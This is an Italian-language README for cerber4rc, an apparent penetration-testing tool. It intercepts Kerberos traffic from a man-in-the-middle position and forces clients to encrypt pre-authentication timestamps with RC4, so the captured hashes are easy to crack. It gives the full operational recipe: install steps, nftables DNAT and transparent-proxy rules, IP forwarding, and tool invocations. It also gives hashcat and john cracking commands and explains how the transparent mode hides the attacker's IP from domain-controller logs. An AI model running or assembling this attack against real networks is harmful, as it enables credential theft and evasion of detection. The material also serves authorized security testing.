
Uno strumento per raccogliere hash RC4 tramite ASREQroasting in modo furtivo
cerber4rc effettua il downgrade dei messaggi di pre-autenticazione Kerberos forzando i client a cifrare i propri timestamp AS-REQ usando
ARC4 (RC4), continuando comunque ad autenticarsi al domain controller usando cifrari sicuri — in altre parole, esegue
l'AS-REQ roasting basato su RC4 in modo furtivo. L'hash catturato ($krb5pa$23$) è molto più veloce da crackare rispetto ai
messaggi AS-REQ cifrati con AES, e nessun evento di sicurezza relativo a cifrari insicuri viene registrato sul domain controller.
Lo strumento supporta anche il proxying trasparente in modo che l'indirizzo IP di origine della vittima venga preservato.
$ pipx install git+https://github.com/synacktiv/cerber4rc
$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc
Per utilizzare lo strumento, è innanzitutto necessario aver ottenuto una posizione Man-in-the-Middle (MitM) che consenta di intercettare il traffico Kerberos delle vittime. Ciò può essere ottenuto in diversi modi, ad esempio:
[!IMPORTANT] La macchina presa di mira deve essere configurata per supportare RC4, altrimenti il downgrade fallirà, cosa che viene rilevata automaticamente dallo strumento. Questo non è un prerequisito lato KDC: se la workstation presa di mira annuncia RC4 come etype, ma il domain controller non supporta la crittografia RC4 per la pre-autenticazione Kerberos, l'attacco funzionerà comunque.
Una volta che si riceve traffico Kerberos, l'idea è di effettuare DNAT della porta 88/TCP verso un socket TCP locale su cui lo strumento è in ascolto. Ciò può essere fatto con le seguenti regole nft:
$ cat /etc/nftables.conf
[...]
table inet nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
[...]
ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
}
}
[...]
$ sudo nft -f /etc/nftables.conf
Anche la tua macchina d'attacco deve consentire l'inoltro IP, che può essere abilitato in questo modo:
$ sudo sysctl net.ipv4.ip_forward=1
[!NOTE] Se utilizzi lo strumento in modalità
--transparent, è necessaria una configurazione aggiuntiva, descritta nella sezione proxy trasparente.
cerber4rc consente l'intercettazione passiva dei messaggi di pre-autenticazione Kerberos con il flag --relay. Deriverà gli hash in base all'etype che le vittime utilizzano per crittografare il proprio timestamp di pre-autenticazione (AES o RC4).
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay
cerber4rc supporta due diverse modalità per l'intercettazione attiva: un proxy TCP regolare (modalità predefinita) e un proxy trasparente (flag --transparent).
Questa modalità è il comportamento predefinito dello strumento. "Divide" la connessione in due parti distinte terminando la connessione TCP sul lato del client e creando una nuova connessione TCP verso il domain controller (DC). Da una prospettiva di rete, il DC vede l'IP della macchina su cui è in esecuzione cerber4rc, il che in ambienti hardened e maturi può attivare regole di rilevamento.
$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>
Questa modalità può essere abilitata utilizzando il flag --transparent. Crea un proxy trasparente, che richiede la capability CAP_NET_ADMIN, oppure che lo strumento venga eseguito come utente root. Ciò consente di preservare l'indirizzo IP della vittima durante il downgrade dei messaggi di pre-autenticazione Kerberos: i log degli eventi generati sul KDC per le richieste TGT conterranno l'indirizzo IP della vittima, e non quello della macchina dell'attaccante che esegue cerber4rc.
Perché questa modalità funzioni, è necessaria una configurazione di rete diversa. Innanzitutto, è necessario creare le seguenti regole nft:
table ip tproxy_kerberos {
chain divert {
type filter hook prerouting priority mangle; policy accept;
socket transparent 1 meta mark set 1 accept
meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
}
}
Poi, è necessario definire la seguente regola di policy routing e la relativa route:
$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100
cerber4rc può quindi essere eseguito con il flag --transparent, come root o concedendo la capability CAP_NET_ADMIN al tuo interprete Python:
$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes
Gli hash catturati verranno registrati per impostazione predefinita nei file <current_timestamp>-hashes_hashcat e <current_timestamp>-hashes_john nella directory corrente. Questo comportamento può essere
modificato con il flag --hash-logfile (-o). Lo strumento verificherà innanzitutto se disponi delle autorizzazioni corrette per scrivere nella posizione selezionata, e in caso contrario terminerà.
Per decifrare gli hash raccolti, puoi utilizzare john o hashcat con le seguenti opzioni:
# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt
# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt # etype 18, AES-256